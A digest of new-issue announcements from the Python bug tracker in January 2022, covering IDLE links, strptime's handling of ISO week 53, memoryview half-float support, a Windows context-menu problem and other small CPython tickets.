1, 1).strftime("%4Y") '%4Y' Also see bpo-13305 ---------- components: Tests messages: 412157 nosy: christian.heimes priority: normal severity: normal status: open title: datetime and time tests use non-portal "%4Y" format type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 11:59:31 2022 From: report at bugs.python.org (Caio Agiani) Date: Sun, 30 Jan 2022 16:59:31 +0000 Subject: [New-bugs-announce] [issue46588] fix typo in test_calltip.py Message-ID: <1643561971.97.0.0543410253105.issue46588@roundup.psfhosted.org> Change by Caio Agiani : ---------- components: Tests nosy: caioagiani priority: normal severity: normal status: open title: fix typo in test_calltip.py type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 14:55:28 2022 From: report at bugs.python.org (Matthew Rahtz) Date: Sun, 30 Jan 2022 19:55:28 +0000 Subject: [New-bugs-announce] [issue46589] Improve documentation for typing._GenericAlias Message-ID: <1643572528.41.0.126032041698.issue46589@roundup.psfhosted.org> New submission from Matthew Rahtz : There's currently not much documentation in `typing.py` for `_GenericAlias`. Some fairly weird things go on in there, so it would be great to have more info in the class about what's going on and why various edge cases are necessary. ---------- components: Library (Lib) messages: 412171 nosy: matthew.rahtz priority: normal pull_requests: 29210 severity: normal status: open title: Improve documentation for typing._GenericAlias type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 16:57:40 2022 From: report at bugs.python.org (meow) Date: Sun, 30 Jan 2022 21:57:40 +0000 Subject: [New-bugs-announce] [issue46590] I suggests to modify Include/object.h in 98 line Message-ID: <1643579860.04.0.783194560429.issue46590@roundup.psfhosted.org> New submission from meow <4d656f77 at gmail.com>: before version #define Py_INVALID_SIZE (Py_ssize_t)-1 after version #define Py_INVALID_SIZE ((Py_ssize_t)-1) I think that the after version is more safety. thanks to read this request. ---------- components: C API messages: 412175 nosy: 4d656f77 priority: normal severity: normal status: open title: I suggests to modify Include/object.h in 98 line type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 20:15:53 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 31 Jan 2022 01:15:53 +0000 Subject: [New-bugs-announce] [issue46591] Make About IDLE links clickable Message-ID: <1643591753.6.0.172219328947.issue46591@roundup.psfhosted.org> New submission from Terry J. Reedy : I am opening this for a PR submitted without an issue. The PR (not yet reviewed) makes the online IDLE doc link clickable. Since a local copy of the online html page is also available on the Help menu, that link is almost unneeded. But when using the online version, one can navigate to other parts of the doc. There is also a mailto: link. For me, on Windows, wb.open("mailto:me at mail.addr") works and returns True (not documented). Is this system dependent? I have previously seen mention that 'file:' links only work on some systems. Maybe this has changed. I would like to know more before addding this. I am a bit worried about making spam easier and moderation of non-subscriber posts (by me) harder. I would only want a link on a new Report Bugs page that explained how to search bpo, with a link to its search page with component:IDLE selected, and explanation of what to include in a bug report. Before activating this, I would like to know what happens on a system where it does not work. (The doc ---------- assignee: terry.reedy components: IDLE messages: 412188 nosy: terry.reedy priority: normal severity: normal stage: patch review status: open title: Make About IDLE links clickable type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 08:06:25 2022 From: report at bugs.python.org (Jonatan Skogsfors) Date: Mon, 31 Jan 2022 13:06:25 +0000 Subject: [New-bugs-announce] [issue46592] Undocumented behavior in strptime for ISO week dates Message-ID: <1643634385.9.0.941412208624.issue46592@roundup.psfhosted.org> New submission from Jonatan Skogsfors : Consider the following code : Python 3.10.2 (main, Jan 31 2022, 12:03:48) [GCC 9.3.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from datetime import datetime >>> datetime.strptime("2021-53-1", "%Y-%W-%w").strftime("%c") 'Mon Jan 3 00:00:00 2022' And also: >>> datetime.strptime("2021-53-1", "%G-%V-%u").strftime("%c") 'Mon Jan 3 00:00:00 2022' 2021 is a "short year" with 52 weeks (e.g. since December 31 is on a Friday). The 53rd week of 2021 is interpreted by Python as week 1 of 2022. This can be convenient but as I understand it, it is not a part of ISO 8601 and it is not documented as a deviation in the documentation for datetime. As a comparison, the special behavior of week 0 (also not part of ISO 8601) is documented. In the documentation for format directive "%W" it is stated that "All days in a new year preceding the first Monday are considered to be in week 0." If the behavior for week 53 is intended (as opposed to raising an error) I think it should be documented. ---------- components: Library (Lib) messages: 412200 nosy: Jonatan Skogsfors priority: normal severity: normal status: open title: Undocumented behavior in strptime for ISO week dates type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 10:29:00 2022 From: report at bugs.python.org (Antoine Pitrou) Date: Mon, 31 Jan 2022 15:29:00 +0000 Subject: [New-bugs-announce] [issue46593] memoryview lacks support for half floats Message-ID: <1643642940.05.0.703714910656.issue46593@roundup.psfhosted.org> New submission from Antoine Pitrou : The struct module has support for half-floats (the "e" format code) but support is not fully enabled in the memoryview object. Let's contrast float32 (the "f" format code), which you can cast to, and read as Python objects: >>> a = np.array([0.0, -1.5], np.float32()) >>> list(memoryview(a)) [0.0, -1.5] >>> memoryview(a.tobytes()).cast('f').tolist() [0.0, -1.5] and float16, where support is minimal (casting forbidden, reading as Python objects unimplemented): >>> a = np.array([0.0, -1.5], np.float16()) >>> list(memoryview(a)) Traceback (most recent call last): File "", line 1, in list(memoryview(a)) NotImplementedError: memoryview: format e not supported >>> memoryview(a.tobytes()).cast('e').tolist() Traceback (most recent call last): File "", line 1, in memoryview(a.tobytes()).cast('e').tolist() ValueError: memoryview: destination format must be a native single character format prefixed with an optional '@' ---------- components: Interpreter Core messages: 412205 nosy: mark.dickinson, meador.inge, pitrou priority: normal severity: normal stage: needs patch status: open title: memoryview lacks support for half floats type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 18:21:47 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 31 Jan 2022 23:21:47 +0000 Subject: [New-bugs-announce] [issue46594] Windows "Edit with IDLE >" only has one selection Message-ID: <1643671307.89.0.0253325125686.issue46594@roundup.psfhosted.org> New submission from Terry J. Reedy : I have Python and hence IDLE 3.8, 3.9, 3.10, and 3.11 installed. When I right click a .py file, and then on "Edit with IDLE >" the sub-menu only has '3.11.0a4' listed. This negates the purpose of having a submenu. I did some search of previous issues and see a) that I have had more than one version listed before, but b) there have been previous issues with some missing. I don't know if #27603 has any relevance. I discovered this when investigating the report at https://stackoverflow.com/questions/70931009/cant-open-py-files-in-idle-on-desktop-with-python-3-10-2 For that, clicking on the submenu worked for 3.9 but not after upgrading to 3.10. Clicking for me opened the file, but there was only one choice. ---------- components: Installation, Windows messages: 412224 nosy: paul.moore, steve.dower, terry.reedy, tim.golden, zach.ware priority: normal severity: normal stage: needs patch status: open title: Windows "Edit with IDLE >" only has one selection type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 19:45:26 2022 From: report at bugs.python.org (cowlinator) Date: Tue, 01 Feb 2022 00:45:26 +0000 Subject: [New-bugs-announce] [issue46595] [doc] Undocumented behavior of importlib.metadata.version Message-ID: <1643676326.7.0.597528878626.issue46595@roundup.psfhosted.org> New submission from cowlinator : If `importlib.metadata.version` can't find the distribution version, it seems to return the result of a local `git describe`. I don't know if this is git-specific, or which other SCMs this might try to interact with. The result of `importlib.metadata.version` varies depending on whether the local directory happens to be a git repo. This is unexpected and undocumented. Based on the documentation, I expected that when it couldn't find the distribution version, it would ALWAYS raise and exception or return nothing. In order to properly document this, you'll have to figure out all of the SCMs that it might interact with. ---------- assignee: docs at python components: Documentation messages: 412227 nosy: cowlinator, docs at python priority: normal severity: normal status: open title: [doc] Undocumented behavior of importlib.metadata.version type: behavior versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________